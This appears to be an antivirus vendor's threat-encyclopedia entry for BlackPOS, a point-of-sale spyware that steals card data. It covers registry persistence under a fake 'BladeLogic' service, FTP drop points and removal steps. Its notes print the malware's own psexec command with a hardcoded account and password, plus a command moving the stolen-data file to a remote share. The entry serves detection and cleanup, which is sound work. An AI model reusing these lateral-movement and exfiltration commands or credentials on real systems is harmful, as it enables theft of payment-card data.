Modified by: Jimelle Monteser
ALIASES:

Win32/Spy.POSCardStealer.R (ESET-NOD32), Trojan:Win32/Ploscato.A (Microsoft), Infostealer.Reedum.B (Symantec)

 PLATFORM:

Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Spyware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This spyware is also known as BlackPOS.

This spyware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It steals certain information from the system and/or the user.

  TECHNICAL DETAILS

File Size: 114,688 bytes
File Type: EXE
Memory Resident: No
Initial Samples Received Date: 17 Jan 2014
Payload: Connects to URLs/IPs

Arrival Details

This spyware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This spyware drops the following file(s)/component(s):

  • {malware path}\cmd.txt - contains ftp login information,deleted afterwards.

Autostart Technique

This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
ImagePath = "{malware path}\{malware filename}.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
Type = "110"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
ErrorControl = "0"

Other System Modifications

This spyware adds the following registry keys:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic\Enum

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_BLADELOGIC

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_BLADELOGIC\
0000

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_BLADELOGIC\
0000\Control

Information Theft

This spyware steals the following information:

  • Credit/Debit Card Information

Stolen Information

This spyware saves the stolen information in the following file:

  • {malware path}\data_{year}_{month}_{day}_{hour}_{minute}.txt - deleted afterwards

Drop Points

This spyware uploads files to the following File Transfer Protocol (FTP) sites:

  • {BLOCKED}.{BLOCKED}.204.182
  • {BLOCKED}.{BLOCKED}.167.144

NOTES:

This spyware collects information via the following commands:

psexec /accepteula \\{BLOCKED}.{BLOCKED}.240.31 -u
ttcopscli3acs\Best1_user -p BackupU$r
cmd /c taskill /IM bladelogic.exe /F
move \\{BLOCKED}.{BLOCKED}.240.31\NT\twain_32a.dll
{malware path}\data_{year}_{month}_{day}_{hour}_{minute}.txt

This malware checks every hours if the local time is between 10am to 5pm before collecting information.

  SOLUTION

Minimum Scan Engine: 9.700
FIRST VSAPI PATTERN FILE: 10.546.03
FIRST VSAPI PATTERN DATE: 17 Jan 2014
VSAPI OPR PATTERN File: 10.547.00
VSAPI OPR PATTERN Date: 18 Jan 2014

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    • BladeLogic
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root
    • LEGACY_BLADELOGIC

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • data_{year}_{month}_{day}_{hour}_{minute}.txt
  • {malware path}\cmd.txt

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TSPY_POCARDL.U. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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